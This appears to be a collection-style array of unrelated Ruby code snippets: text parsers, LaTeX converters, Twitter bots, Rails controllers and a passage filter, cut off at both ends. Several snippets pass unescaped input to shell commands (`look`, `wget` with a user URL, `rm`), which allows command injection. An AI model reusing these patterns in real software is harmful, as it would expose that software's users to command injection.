\"\\n\\n\" + text\r\n\t\t\tp.save\r\n\t\t\r\n\t\t\tputs \"#{titlebit} - saved.\"\r\n\t\telse\r\n\t\t\tputs \"#{titlebit} - already there.\"\r\n\t\tend\r\n\tend\r\n\t\r\n\tp = Page.new \"#{basepage}/ignored\"\r\n\tp.text = File.read \"ignored.txt\"\r\n\tp.save\r\n\t\r\n\tputs 'ignored'\r\nend", "def process_sentance(blob)\n # strip out enclosures\n blob = blob.gsub(/\\\\/,'')\n # test for quotes\n # if quotes, these words are important (flag them)\n test = blob.match(/[\"'](.*)['\"]/)\n if test && test.size > 1\n @words = test[1..test.size].join(\" \")\n #test.each{|word|\n # @words << word\n #}\n #blob = blob.gsub(@words,'')\n blob = blob.gsub(/([\"'])/,'')\n end\n unless @words.nil?\n # break up and add to @local_important\n tmp = @words.split(\" \")\n tmp.each{|word|\n @local_important << word.downcase unless @local_important.include? word\n }\n end\n #puts blob\n the_pieces = blob.split(\" \")\n parse_words(the_pieces)\n \n # try to sort words\n words = grab_important_words\n puts words.inspect\n \n puts \"Derived Tags: #{words.join(' ')}\"\n \n end", "def text(title)\n title = title.to_s if title.is_a?(Symbol)\n texts.find_or_create_by_title(title)\n end", "def user_choice_text_version\n this_here = pick_a_story\n puts \"\\n #{this_here.title}\"\n puts \"\\n\"\n Narrabot::Scraper.aesop_fable_text(this_here) if !this_here.text_and_moral\n puts this_here.text_and_moral\n puts \"\\n\"\n #puts \"Would you like me to read this story in my beautiful voice?\"\n #input = gets.chomp\n #switch = yes_or_no(input)\n #if switch == true\n # puts \"\"\n # \"#{this_here.text_and_moral}\".play (\"en\")\n #else\n # puts \"\"\n # play_and_puts(\"Okay\")\n #end\n end", "def start_tracking(phrase_text, client, write_client)\n\t#build phrase regex\n\tphrase_test = Regexp.new(phrase_text + \"([^\\\\.\\\\?\\\\!#\\\\@](?<!http|$))+(\\\\.|\\\\!|\\\\Z)\", Regexp::IGNORECASE | Regexp::MULTILINE);\n\t\n\t#Stolen from stack overflow, quick and simple way to remove all ambiguous unicode chars.\n\tencoding_options = {\n\t\t:invalid => :replace, # Replace invalid byte sequences\n\t\t:undef => :replace, # Replace anything not defined in ASCII\n\t\t:replace => '', # Use a blank for those replacements\n\t\t:universal_newline => true # Always break lines with \\n\n\t}\n\t\n\t#not sure the < and > ones are necessary. But the &amp; -> & certainly was. Is this a JSON thing?\n\tto_replace = [\n\t\t\t[\"&amp;\", \"&\"],\n\t\t\t[\"&lt;\", \"<\"],\n\t\t\t[\"&gt;\", \">\"]\n\t\t]\n\t\n\t#limit tweeting to once every 90 seconds. This is just under the 1000 tweets/day rule.\n\ttimeout = 90;\n\tnext_tweet = Time.now;\n\t\n\t#start listening to the basic phrase query\n\tclient.filter(:track => phrase_text) do |tweet|\n\t\t\n\t\t#apply fancy regex\n\t\tsub = tweet.text[phrase_test];\n\t\tif(!sub.nil?) then\n\t\t\t\n\t\t\t#remove unicode as defined above\n\t\t\tsub = sub.encode Encoding.find('ASCII'), encoding_options\n\t\t\t\n\t\t\t#replace special entities as defined above\n\t\t\tto_replace.each { |rep| \n\t\t\t\tsub.gsub!(rep[0], rep[1]);\n\t\t\t}\n\t\t\t\n\t\t\t#separately, save a compact version of this phrase for testing against already-seen list\n\t\t\t\tphrase = sub.clone;\n\t\t\t\t#remove all punctuation\n\t\t\t\tphrase.gsub!(/[[:punct:]]/, \"\");\n\t\t\t\t#remove all whitespace\n\t\t\t\tphrase.gsub!(/\\s/, \"\");\n\t\t\t\t#force all to lowercase\n\t\t\t\tphrase.downcase!\n\t\t\t\n\t\t\t#check against already-seen database\n\t\t\tif(Phrase.where(:phrase_letters => phrase).count == 0 && Phrase.where(:user_id => tweet.user.id).count == 0) then\n\t\t\t\t#add some punctuation bells and whistles to make prettier:\n\t\t\t\t\t#add period if no ending punctuation\n\t\t\t\t\tsub << \".\" if sub !~ /[[:punct:]]$/\n\t\t\t\t\t#begin with a capital\n\t\t\t\t\tsub[0] = sub[0].upcase;\n\t\t\t\t\t#remove whitespace before the final punctuation\n\t\t\t\t\tsub.gsub!(/\\s*([[:punct:]]+$)/, '\\1');\n\n\t\t\t\tif(Wordfilter::blacklisted? sub) then\n\t\t\t\t\[email protected](\"Filtered blacklisted content. Tweet aborted. Content was: #{sub}\");\n\t\t\t\t\tnext;\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\t#check if we can tweet this phrase\n\t\t\t\tif Time.now >= next_tweet then\n\t\t\t\t\t#tweet it\n\t\t\t\t\[email protected](\"\\tTweeting: #{sub}\");\n\t\t\t\t\tbot_tweet = write_client.update(sub);\n\t\t\t\t\t\n\t\t\t\t\t#Save this pretty phrase to the novel phrase list\n\t\t\t\t\[email protected](\"Saving to database: #{sub}\");\n\t\t\t\t\tPhrase.create(:user_id => tweet.user.id,\n\t\t\t\t\t\t\t\t:phrase => sub,\n\t\t\t\t\t\t\t\t:phrase_letters => phrase,\n\t\t\t\t\t\t\t\t:source_tweet_id => tweet.id,\n\t\t\t\t\t\t\t\t:source_tweet_time => tweet.created_at,\n\t\t\t\t\t\t\t\t:user_handle => tweet.user.handle,\n\t\t\t\t\t\t\t\t:bot_tweet_id => bot_tweet.id)\n\t\t\t\t\t\n\t\t\t\t\tnext_tweet = Time.now + timeout;\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend", "def mass_tikify(text, destination)\n sentences = text.lines\n i = 0\n sentences.each do |s|\n log (\"Importing: sentence #{i}\") if (i % 1000) == 0\n begin\n# @env.transaction do |trans|\n tokens = NLP.tokenize(s).reject do |t|\n # Don't include usernames/urls as tokens\n (t[0]==('@')) \\\n || (t.include?('://')) \\\n || t.length > 30\n end\n tokstr = tokens.map { |t| tikify(t) }\n destination.add(tokstr)\n# end\n rescue LMDB::Error::MAP_FULL\n destination.expand()\n retry\n end\n i += 1\n end\n destination\n end", "def create_filename(newpost)\n File.readlines(newpost).each do |line|\n tidytitle = ''\n # Extract title from the h2 line, and create tidytitle and filename\n if line =~ />\\w.*h2/\n # $& returns exact match, not entire line. Strip the tags surroundging the title.\n @title = $&.sub('>','').sub('</a></h2','') \n # Remove illegaal characters from title\n tidytitle = @title.downcase.gsub(/(#|%|&|\\*|<|>|\\{|\\}|\\\\|:|;|,|<|>|\\?|\\/|\\+|'|!|\\.)/,'').gsub(/ /,'-').gsub(/-+/,'-') + '.html'\n # Create filename preceded with datestamp\n @filename = @filedate + '-' + tidytitle\n break\n end\n end\nend", "def create\n @verse = Verse.new(params[:verse])\n\n respond_to do |format|\n if @verse.save\n format.html { redirect_to @verse, notice: 'Verse was successfully created.' }\n format.json { render json: @verse, status: :created, location: @verse }\n else\n format.html { render action: \"new\" }\n format.json { render json: @verse.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @verse = Verse.new(params[:verse])\n\n respond_to do |format|\n if @verse.save\n format.html { redirect_to @verse, notice: 'Verse was successfully created.' }\n format.json { render json: @verse, status: :created, location: @verse }\n else\n format.html { render action: \"new\" }\n format.json { render json: @verse.errors, status: :unprocessable_entity }\n end\n end\n end", "def lsvob_fill_tag_and_description(line, hvob)\n# the second position is the VOB's tag\n hvob[:tag] = '\\\\' + line.scan(/\\w+/)[1]\n# check for the description\n if line.index('\"')\n _description = line\n# get rid of the leading and trailing '\"' and white spaces\n _description = _description.sub(/Tag: \\\\\\w+./,'').lstrip\n _description = (_description.gsub(/\\\"/,'').rstrip).lstrip\n hvob[:description] = _description \n end\nend", "def create_title (word)\n\tp_title = word + ' '\n\tindex = 0\n\t#do until word key does not exist\n\twhile mcw(word) != -1\n\t\tp_array = p_title.split\n\t\tword = mcw(word)\n\t\t#If the sentence already contains word, break\n\t\tbreak if p_array.include? word\n\t\tp_title = p_title + word + ' ' #Concatenate new word to sentence\n\t\tindex += 1\n\tend\n\tp_title.gsub!(/\\s$/, '') #remove trailing whitespace\n\treturn p_title\nend", "def paste_text(text, title = \"rake test\")\n uri = URI.parse('http://gist.github.com/api/v1/xml/new')\n req = Net::HTTP::Post.new(uri.path)\n req.set_form_data({ \"files[Fancy: #{title} @ #{get_revision}]\" => text })\n res = Net::HTTP.new(uri.host, uri.port).start {|http| http.request(req) }\n if(res.code == '200')\n 'http://gist.github.com/' + res.body.match(/repo>(\\d+)</)[1]\n else\n false\n end\n end", "def parse\n parse_results = []\n @words.each_index do |i|\n i.upto(@words.size - 1) do |j|\n phrase = Phrase.new(@words[i..j])\n unless phrase_has_definitely_been_checked?(phrase, @existing_article_titles)\n break unless @repository.try_this_phrase_or_longer?(phrase)\n matching_articles = @repository.find_matching_articles(phrase)\n matching_articles.each do |matching_article|\n parse_results << [phrase.to_s, matching_article]\n end\n end\n end\n end\n parse_results = clean_results(parse_results, @existing_article_titles)\n end", "def create\n @word = Word.find_or_create_by_text(params[:text])\n\n respond_to do |format|\n if @word.save\n format.json { render json: @word, status: :created,\n location: @word}\n else\n format.json { render json: @word.errors, status: :unprocessable_entity }\n end\n end\n end", "def edit_verse()\n\n credential_length = Random.new().rand( LENGTH_RANGE )\n credential_stream = %x[ #{GENERATE_CMD} ]\n credential_string = credential_stream.chomp()[ 0 .. ( credential_length - 1 ) ]\n \n @verse.store( \"#{@line}-#{TimeStamp.yyjjj_hhmm_sst()}\", @verse[ @line ] ) if @verse.has_key?( @line )\n @verse.store( @line, credential_string )\n\n end", "def valid_sentence(string, dictionary)\n #Create a global variable to be able to access throughout\n $process = {}\n final_sentences = []\n sentences(string, dictionary).each do |array|\n set = array.split(\" \")\n if dictionary_words?(set) && verb_present?(set) && noun_articles_present?(set)\n final_sentences << array\n end\n end\n final_sentences.sort!\n end", "def profanity\n\t\tputs \"Please, enter the name of the censored file...\"\n\t\tnewName = gets.chomp + \".srt\"\n\t\tnewFile = File.new(newName, \"w\")\n\t\ttext = @inputFile.read\n\t\tputs \"Please, enter the name of the censored words... (or press enter to use 'swearWords.txt' by default)\"\n\t\tbanWordsName = gets.chomp\n\t\tif banWordsName == \"\"\n\t\t\tbanWordsName = \"swearWords\"\n\t\tend\n\t\tarrWords = self.bannedWords(\"./\" + banWordsName + \".txt\")\n\t\tcounter = 0\n\t\tprotect = true\n\t\ttext.each_line do |line|\n\t\t\tcounter += 1\n\t\t\tif line == \"\\r\\n\"\n\t\t\t\tcounter = 0\n\t\t\tend\n\t\t\tif counter == 2 && line[(3..4)].to_i >= 30 && line[(20..21)].to_i >= 30\n\t\t\t\t#if it's not protected time\n\t\t\t\tprotect = false\n\t\t\tend\n\t\t\tif counter > 2 && protect == true\n\t\t\t\t#/\\W|\\d/ regular expresion to exclude non digit and non letter\n\t\t\t\twords = line.split(/\\W|\\d/)\n\t\t\t\tfor i in words\n\t\t\t\t\tif arrWords.include?(i.downcase) && i != \"\"\n\t\t\t\t\t\tline = line.gsub(i, \"CENSORED\")\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\tnewFile.puts(line)\n\t\tend\n\t\tnewFile.close\n\t\tputs newName + \" created at: \" + Time.now.to_s\n\t\treturn nil\n\tend", "def do_adhoc(str)\n str.gsub!(/^\\\\cleardoublepage$/, \"\")\n str.gsub!(/^\\\\plainifnotempty$/, \"\")\n str.gsub!(/^\\\\small$/, \"\")\n str.gsub!(/^\\\\normalsize$/, \"\")\n str.gsub!(/^\\\\centering$/, \"\")\n\n # URL\n str.gsub!(/\\\\verb\\|(.+?)\\|/) do |m|\n s = $1\n if s =~ URI.regexp\n s\n else\n m\n end\n end\n\n text_pairs = {\n %! \\\\vspace*{-0.1\\\\Cvs}! => \"\",\n %!$10^{12} = 1 \\\\mathrm{TB}$! => %!@<raw>#{LBRACE}|html|10<sup>12</sup>#{RBRACE}=1TB!,\n %!$\\\\exists, \\\\forall$! => %!@<raw>#{LBRACE}|html|&exist;, &forall;#{RBRACE}!,\n %!$\\\\lnot,\\\\land,\\\\lor$! => %!@<raw>#{LBRACE}|html|&not;,&and;,&or;#{RBRACE}!,\n %!$>$! => %!@<raw>#{LBRACE}|html|&gt;#{RBRACE}!,\n %!$<$! => %!@<raw>#{LBRACE}|html|&lt;#{RBRACE}!,\n %!B$^+$! => %!@<raw>#{LBRACE}|html|B<sup>+</sup>#{RBRACE}!,\n %!\\\\paragraph{Step 4.} \\\\ ! => %!\\\\paragraph{Step 4.}!,\n %!\\\\verb|http://s2k-ftp.cs.berkeley.edu/ingres/|! => %!http://s2k-ftp.cs.berkeley.edu/ingres/!,\n %!\\\\verb|pc<code.size()|! => %!@<tt>#{LBRACE}pc<code.size()#{RBRACE}!,\n %!\\\\verb|c|! => %!@<tt>#{LBRACE}c#{RBRACE}!,\n %!\\\\verb|m|! => %!@<tt>#{LBRACE}m#{RBRACE}!,\n %!\\\\verb|z|! => %!@<tt>#{LBRACE}z#{RBRACE}!,\n %!$n$! => %!n!,\n %!$\\\\mathrm{O}(1)$! => %!O(1)!,\n %!$\\\\mathrm{O}(n)$! => %!O(n)!,\n %!$\\\\beta$! => %!@<raw>#{LBRACE}|html|&beta;#{RBRACE}!,\n %!$t$! => %!t!,\n %![$^{11}$C]! => %!@<raw>#{LBRACE}|html|[<sup>11</sup>C]#{RBRACE}!,\n }\n\n text_pairs.each do |k,v|\n regex = Regexp.compile(Regexp.quote(k))\n str.gsub!(regex, v)\n end\n\n str.gsub!(/^\\s*\\\\begin\\{lstlisting\\}\\n((?:.|\\n)*?)\\n\\s*\\\\end\\{lstlisting\\}\\n/) do |m|\n \"//emlist{\\n\" + $1 + \"\\n//}\\n\"\n end\n\n str.gsub!(/^\\s*\\\\begin\\{quote\\}\\n((?:.|\\n)*?)\\n\\s*\\\\end\\{quote\\}\\n/) do |m|\n \"//quote{\\n\" + $1 + \"\\n//}\\n\"\n end\n\n str.gsub!(/^\\s*\\\\(begin|end)\\{(minipage|center|figure)\\}.*$/, \"\")\n\n img_refs = Hash.new\n str.gsub!(/^\\s*\\\\includegraphics(?:\\[.*?\\])?\\{(.+?)\\}[\\s\\n]*\\\\caption\\{(.+?)\\}[\\s\\n]*\\\\label\\{(.+?)\\}/) do |m|\n imgfile = $1.strip\n caps = $2.strip\n label = $3.strip\n if imgfile =~ /\\.eps\\Z/\n imgfile = File.basename(imgfile, \".eps\")\n img_refs[label.strip] = imgfile\n \"\\n//image[#{imgfile}][#{caps}]{\\n//}\\n\"\n elsif imgfile =~ /\\.pdf\\Z/\n imgfile = File.basename(imgfile, \".pdf\")\n img_refs[label.strip] = imgfile\n \"\\n//image[#{imgfile}][#{caps}]{\\n//}\\n\"\n else\n m\n end\n end\n\n str.gsub!(/^\\s*\\\\includegraphics(?:\\[.*?\\])?\\{(.+?)\\}[\\s\\n]*\\\\caption\\{(.+?)\\}/) do |m|\n imgfile = File.basename($1.strip)\n caps = $2.strip\n imgfile.gsub!(/\\.\\w+\\Z/, \"\")\n \"\\n//image[#{imgfile}][#{caps}]{\\n//}\\n\"\n end\n\n str.gsub!(/図\\s*\\\\ref\\{([^\\}]*)\\}/) do |m|\n \"@<img>#{LBRACE}#{img_refs[$1.strip] || $1.strip}#{RBRACE}\"\n end\n\n str.gsub!(/^\\s*\\\\begin\\{enumerate\\}((?:.|\\n)*)\\s*\\\\end\\{enumerate\\}/) do |m|\n block = $1\n idx = 0\n if block =~ /\\\\begin/\n block\n else\n items = block.strip.split(/\\\\item\\s*/).select{|s| s.size > 0}\n items_str = \"\\n\"\n items.each do |item|\n items_str += \" \" + (idx += 1).to_s + \". \" + item.gsub(/\\n\\s*/,\"\").strip + \"\\n\"\n end\n items_str\n end\n end\n\n str.gsub!(/^\\s*\\\\begin\\{itemize\\}((?:.|\\n)*)\\s*\\\\end\\{itemize\\}/) do |m|\n block = $1\n if block =~ /\\\\begin/\n block\n else\n items = block.strip.split(/\\\\item\\s*/).select{|s| s.size > 0}\n items_str = \"\\n\"\n items.each do |item|\n items_str += \" * \" + item.gsub(/\\n\\s*/,\"\").strip + \"\\n\"\n end\n items_str\n end\n end\n\n # brainfuck\n str.gsub!(/\\\\verb\\|([-+><,\\.\\[\\] ]+)\\|/) do |m|\n %!@<tt>#{LBRACE}#{$1}#{RBRACE}!\n end\n\n # file url in hoge.tex\n str.gsub!(/\\{\\\\scriptsize((?:.|\\n)+?)\\}/) do |m|\n s = $~[1].strip\n if s.strip =~ URI.regexp && s == $~[0]\n s\n else\n m\n end\n end\n\n str\nend", "def word_checker(word_possibility)\n valid_words=[]\n word_possibility.each{ |word|\n if (system(\"look #{word} > new.txt\"))\n if response(word)[0] !=nil\n valid_words << word\n break\n end\n end\n }\n valid_words\n end", "def seed_with_adjectives\n words = AdjectiveSeed::get_adjective_list\n\n words.each do |word|\n word = word.downcase.squish.strip # Remove unnecessary whitespace\n Adjective.create(word: word)\n puts word\n end\nend", "def create\n @voice = Voice.new(voice_params)\n output_filepath = download_voice(params[:voice][:url])\n File.open(\"#{Rails.root}/#{output_filepath}\") do |f|\n @voice.voice_file = f\n end\n o, e, s = Open3.capture3(\"wget -nv --delete-after '#{@voice.url}'\")\n e.chomp =~ /.*URL:(.*) \\[.*\\] -> /\n @voice.url = Regexp.last_match(1)\n return render :edit if @voice.invalid?\n @voice.save!\n\n system(\"rm #{output_filepath}\")\n\n flash[:success] = 'Voice was successfully created.'\n redirect_to voices_path\n end", "def create\n if text.match(/\\_QUOTE/)\n require 'organismo/element/quote'\n Organismo::Element::Quote.new(text, location)\n elsif text.match(/\\_SRC/)\n require 'organismo/element/code'\n Organismo::Element::Code.new(text, location)\n elsif text.match(/\\_EXAMPLE/)\n require 'organismo/element/example'\n Organismo::Element::Example.new(text, location)\n elsif text.match(/\\*/)\n require 'organismo/element/header'\n Organismo::Element::Header.new(text, location)\n elsif text.match(/\\[\\[\\S*(\\.png)|(\\jpg)|(\\.jpeg)\\]\\]/)\n require 'organismo/element/image'\n Organismo::Element::Image.new(text, location)\n elsif text.match(/\\[\\[\\S*\\]\\]/)\n require 'organismo/element/link'\n Organismo::Element::Link.new(text, location) \n elsif text.match(/\\-/)\n require 'organismo/element/plain_list'\n Organismo::Element::PlainList.new(text, location)\n else\n require 'organismo/element/text'\n Organismo::Element::Text.new(text, location)\n end\n end", "def clean2\n content = text.split(\"\\n\")\n \n # First, find and mark songs\n in_song = false\n new_content = []\n content.each do |line|\n if line=~/\\*{5}/ .. line=~END_OF_SONG\n new_content << \"SONG:\" unless in_song\n if line =~ END_OF_SONG\n new_content << line\n in_song = false\n else\n new_content << \" #{line}\"\n in_song = true\n end\n else\n if in_song\n new_content << \"END OF SONG\"\n end\n in_song = false\n new_content << line\n end\n end\n \n # Now, fix line endings and merge lines\n old_content = new_content\n new_content = []\n preserve_breaks = false\n last_line = \"\"\n old_content.each do |line|\n new_content << \"\" if preserve_breaks ||\n last_line =~ END_OF_SONG || \n new_content.size == 0 ||\n line =~ /^.[LS]-\\d+(?:\\]|$|.\\s*\\()/ ||\n line =~ /^\\([A-Z]/ ||\n line =~ /^[A-Z][A-Z, \\.-]+:\\s/ ||\n line =~ /^Scene\\s+\\?\\s+-\\s+\\?/ ||\n line =~ START_OF_SONG ||\n line =~ /^#/\n case line\n when START_OF_SONG\n preserve_breaks = true\n when END_OF_SONG\n preserve_breaks = false\n end\n new_content[-1] += ' ' unless new_content[-1] =~ /^$|\\s$/\n new_content[-1] += line\n last_line = line\n end\n \n # Now, insert extra empty lines\n old_content = new_content\n new_content = []\n extra_space = true\n in_cast = false\n in_song = false\n \n old_content.each do |line|\n if line =~ /^#/\n extra_space = false if in_cast\n else\n in_cast = false\n extra_space = true unless in_song\n end\n new_content << \"\" if extra_space && new_content.size > 0\n new_content << line\n case line\n when /^#CAST FOR SCENE/\n in_cast = true\n when START_OF_SONG\n extra_space = false\n in_song = true\n when END_OF_SONG\n extra_space = true\n in_song = false\n end\n end\n \n # Finally, fix songs\n old_content = new_content\n new_content = []\n i = 0\n while i<old_content.size\n line = old_content[i]\n case line\n when START_OF_SONG\n # Find lines with stars in them\n j = i+1\n while j<old_content.size && old_content[j] !~ END_OF_SONG\n j += 1\n end\n # At this point lines i...j are the song; back up and look for the last \"*****\"\n while j>i && old_content[j] !~ /\\*{5}/\n j -= 1\n end\n # Now lines (i+1)...j are the song information block\n song_information = old_content[(i+1)...j].join\n song_name = song_information[/^[\\s\\*]*([^\\*]+)/,1].strip\n tune = song_information[/([^\\*]+)[\\s\\*]*$/,1].strip\n new_content += [\" SONG: #{song_name}\", \" (To the tune of: #{tune})\"]\n i = j+1\n when END_OF_SONG\n i += 1 # Discard end of song markers; we don't need them anymore\n else\n new_content << line\n i += 1\n end\n end\n \n # Save the results\n text = new_content.join(\"\\n\")\n end", "def do_inproceedings\n @lines.each {|l| l.sub!(/journal =/, \"booktitle =\") }\n end", "def create\n\n @verse = Verse.new(:text => params[:verse], :song_id => params[:song_id], :user_id => params[:user_id])\n\n @song = Song.find_by_id(params[:song_id])\n\n respond_to do |format|\n if @verse.save\n format.html { redirect_to @song, notice: 'Verse was successfully created.' }\n format.json { render json: @song, status: :created, location: @song }\n format.js\n else\n format.html { render action: \"new\" }\n format.json { render json: @verse.errors, status: :unprocessable_entity }\n end\n end\n end", "def parse_new_lex filename\n\n\t\t@stemmizer = Stemmizer.new\n\n\t\tindex_es = Hash.new\n\n\t\tcon = RedisDB.new\n\t\tcon.connect_database 'stems'\n\n\t\tCSV.foreach(filename) do |row|\n\n\t\t\tstem_es = @stemmizer.stemmize row[0],'es'\n\n\t\t\tif(index_es.has_key? stem_es)\n\n\t\t\t\tindex_es[stem_es] = (index_es[stem_es].to_f + row[1].to_f).to_f/2\n\t\t\t\tcon.save_word 'stems_new_lex', stem_es, ((index_es[stem_es].to_f + row[1].to_f).to_f/2)\n\t\t\t\tputs(stem_es + ': ' + index_es[stem_es].to_s)\n\n\t\t\telse\n\n\t\t\t\tindex_es[stem_es] = row[1].to_f\n\t\t\t\tcon.save_word 'stems_new_lex', stem_es , row[1].to_f\n\t\t\t\tputs(stem_es + ': ' + index_es[stem_es].to_s)\n\n\t\t\tend\n\n\t\tend\n\n\tend", "def create_from_guest\n\n @poem = current_user.poems.last\n\n # update the user's word_count\n current_user.word_count += @poem.text.split.size\n\n # then check for titles\n if current_user\n @titles = check_for_titles(@poem)\n @titles.each do |title|\n current_user.titles << title\n end\n\n token = current_user.twitter_oauth_token #||= ENV['YOUR_OAUTH_TOKEN']\n secret = current_user.twitter_oauth_secret #||= ENV['YOUR_OAUTH_TOKEN_SECRET']\n\n # time to tweet the poem!\n client = Twitter::Client.new(\n consumer_key: ENV['YOUR_CONSUMER_KEY'],\n consumer_secret: ENV['YOUR_CONSUMER_SECRET'],\n oauth_token: token,\n oauth_token_secret: secret\n )\n\n tweet_text = '#vrsry '\n tweet_text += '@' + @poem.source_user + ' '\n tweet_text += @poem.text.truncate(90) + ' '\n tweet_text += 'versery.net/poems/' + @poem.id.to_s\n client.update(tweet_text)\n end\n\n render :create_from_guest\n\n end", "def post_process_text(s) \n # extract math\n math, arrays = [], []\n s.scan(/\\$([^$]+)\\$/) {|m| math << m } # $$\n s.scan(/\\\\\\[([^$]+)\\\\\\]/) {|m| arrays << m } # \\[ \\]\n # citations\n s = replace_citations(s)\n # listings, algorithms, tables\n s = replace_listings(s)\n # custom \n s = replace_custom_refs(s)\n # texttt\n s = replace_texttt(s)\n # emph\n s = replace_emph(s)\n # textbf\n s = replace_bf(s)\n # urls\n s = replace_urls(s)\n # footnotes\n s = replace_footnotes(s)\n # paragrams\n s = replace_paragraphs(s)\n # chapter refs\n s = replace_chapter_refs(s)\n # section refs\n s = remove_section_refs(s)\n # replace markboth with nothing\n s = replace_markboth(s)\n # remove hypenation suggestions\n s = remove_hyph_suggestions(s)\n # umlats etc\n s = character_processing(s)\n # replace \\% with %\n s = s.gsub(\"\\\\%\", \"\\%\")\n # replace \"\\ \" with a space\n s = s.gsub(\"\\\\ \", \" \")\n # replace \\\" and \\' with nothing\n s = s.gsub(\"\\\\\\\"\", \"\")\n s = s.gsub(\"\\\\\\'\", \"\")\n # replace ~ with space\n s = s.gsub(\"~\", \" \")\n # replace \\$ with $ (testing algorithms)\n s = s.gsub(\"\\\\$\", \"$\")\n # replace \\_ with _ (testing algorithms)\n s = s.gsub(\"\\\\_\", \"_\") \n # replace \\# with # (appendix)\n s = s.gsub(\"\\\\#\", \"#\")\n # replace \\{ with { (appendix)\n s = s.gsub(\"\\\\{\", \"{\")\n # replace \\} with } (appendix)\n s = s.gsub(\"\\\\}\", \"}\") \n # replace \\\\ with <br /> (appendix, de)\n s = s.gsub(\"\\\\\\\\\", \"<br />\") \n # replace \\Latex with LaTex\n s = s.gsub(\"\\\\LaTeX\", \"LaTex\") \n # replace \\copyright with html copyright\n s = s.gsub(\"\\\\copyright\", \"&copy;\")\n # replace \\mybookdate\\ with publication date 2011\n s = s.gsub(\"\\\\mybookdate\", DATE)\n # replace \\mybookauthor with the author ame\n s = s.gsub(\"\\\\mybookauthor\", \"Jason Brownlee\")\n # replace \\mybooktitle with the book title\n s = s.gsub(\"\\\\mybooktitle\", TITLE)\n # replace \\mybooksubtitle with the book subtitle\n s = s.gsub(\"\\\\mybooksubtitle\", SUBTITLE)\n # finally switch ` for ' (late in the subs)\n s = s.gsub(\"`\", \"'\")\n \n # put the math back\n if !math.empty?\n index = 0\n s = s.gsub(/\\$([^$]+)\\$/) do |m|\n index += 1\n \"$#{math[index - 1]}$\"\n end\n end \n if !arrays.empty?\n index = 0\n s = s.gsub(/\\\\\\[([^$]+)\\\\\\]/) do |m|\n index += 1\n \"\\\\[#{arrays[index - 1]}\\\\]\"\n end\n end\n return s\nend", "def parse_text text\n\n if @debug\n puts \"=== parsing text to find Vacation ===\"\n puts text\n end\n\n text.split(/\\n/).each do |line|\n line.chomp!\n line.strip!\n if line =~ /^=vacation/i\n reset_parsed\n elsif line =~ /=end/i\n @closed = true\n break\n elsif line =~ /^(cancel|deactivate)/i\n cancel\n elsif line =~ /^activate:\\s*(now|jetzt)/i\n self.activated_at = Time.now - 1, freeze=true\n elsif line =~ /^(?:first|start|erster)\\s+(?:day|date|tag):(.+)/i\n self.starts_at = $1\n elsif line =~ /^(?:last|end|letzter)\\s+(?:day|date|tag):(.+)/i\n self.ends_at = $1\n elsif line =~ /^message:(.*)/i\n @message = $1.strip\n @parsing_message = true\n elsif parsing_message?\n @message << \"\\n\" << line\n end\n end\n\n validate\n end", "def create\n\n @poem = Poem.create\n\n @poem.text = params[:text]\n source_user = params[:source_user]\n @poem.source_user = source_user.slice(1, source_user.length - 1)\n\n @poem.user = current_or_guest_user\n\n if @poem.save\n # update the user's word_count\n current_or_guest_user.word_count += @poem.text.split.size\n\n # then check for titles\n if current_user\n @titles = check_for_titles(@poem)\n @titles.each do |title|\n current_user.titles << title\n end\n\n token = current_user.twitter_oauth_token #||= ENV['YOUR_OAUTH_TOKEN']\n secret = current_user.twitter_oauth_secret #||= ENV['YOUR_OAUTH_TOKEN_SECRET']\n\n # time to tweet the poem!\n client = Twitter::Client.new(\n consumer_key: ENV['YOUR_CONSUMER_KEY'],\n consumer_secret: ENV['YOUR_CONSUMER_SECRET'],\n oauth_token: token,\n oauth_token_secret: secret\n )\n\n tweet_text = '#vrsry '\n tweet_text += params[:source_user] + ' '\n tweet_text += @poem.text.truncate(90) + ' '\n tweet_text += 'versery.net/poems/' + @poem.id.to_s\n client.update(tweet_text)\n end\n\n else\n # XXX\n # What to do if the poem doesn't save?\n end\n\n respond_to do |format|\n format.js {}\n end\n\n end", "def verses(first, last)\n\t\t(first..last).each_with_object(\"\") do |num, str| \n\t\t\tstr << verse(num) + \"\\n\"\n\t\tend\n\tend", "def create\n @fourth_story_text = FourthStoryText.new(params.require(:fourth_story_text).permit(:passage))\n @fourth_story_text.author = current_user.email\n #Filter the text so that only valid passages are added to the story\n #Variables used within the filter\n @valid = true #This must be true if a passage is to be included\n @valid_character = false\n @space_counter = 0 #Counts the number of characters between spaces\n @max_word_length = 15 #The maximum length for a valid word\n @character_counter = 0 #Counts the number of characters in the passage\n @max_passage_length = 1000 #The maximum length for a valid passage\n @consecutives_counter = 0\n @max_consecutives = 2\n @previous_character = 0\n @valid_characters = [32,33,34,39,44,46,63] #List of non-letter/number characters that are valid\n @invalid_words = [[102,117,99,107], #Lists invalid words\n [112,101,110,105,115],\n [118,97,103,105,110,97],\n [115,101,120],\n [110,105,103,103,101,114],\n [102,97,103,103,111,116]]\n @required_words = ['Darcy','Robert','Libby','Ron','Jeff']\n $error_message = 'Enter your passage here:' \n #Filter process starts here\n @fourth_story_text.passage.bytes.each do |character| #Check to makes sure each character is valid\n @valid_character = false #Reject characters that are not letters or numbers\n if character >= 65 && character <= 122 || character >= 48 && character <= 57\n @valid_character = true #Accept all numbers and letters\n end \n if @valid_characters.include? character\n @valid_character = true #Accept all valid pucntuation\n end\n if !@valid_character\n @valid = false\n $error_message = 'Your entry includes invalid characters'\n end\n @space_counter += 1 #Increment for each character in a word\n @character_counter += 1 #Increment for each character in a passage\n if character == 32 #Check for the space character\n @space_counter = 0 #Start a new word if the space character is found\n end\n if @space_counter > @max_word_length #Make sure the maximum word length is not exceeded\n @valid = false\n $error_message = 'Make sure to include spaces between your words'\n end\n if @character_counter > @max_passage_length #Make sure the maximum passage length isn't exceeded\n @valid = false\n $error_message = 'You have exceeded to maximum length for a single entry'\n end\n if character == @previous_character\n @consecutives_counter += 1\n else\n @consecutives_counter = 0\n end\n if @consecutives_counter >= @max_consecutives\n @valid = false\n $error_message = 'Make sure you are entering real words'\n end\n @previous_character = character\n end\n if ![33,34,46,63].include? @fourth_story_text.passage.bytes.last\n @valid = false #Each passage must end with correct punctuation\n $error_message = 'Make sure to end your sentences with correct punctuation'\n end\n if @fourth_story_text.passage.bytes.first\n if @fourth_story_text.passage.bytes.first < 65 || 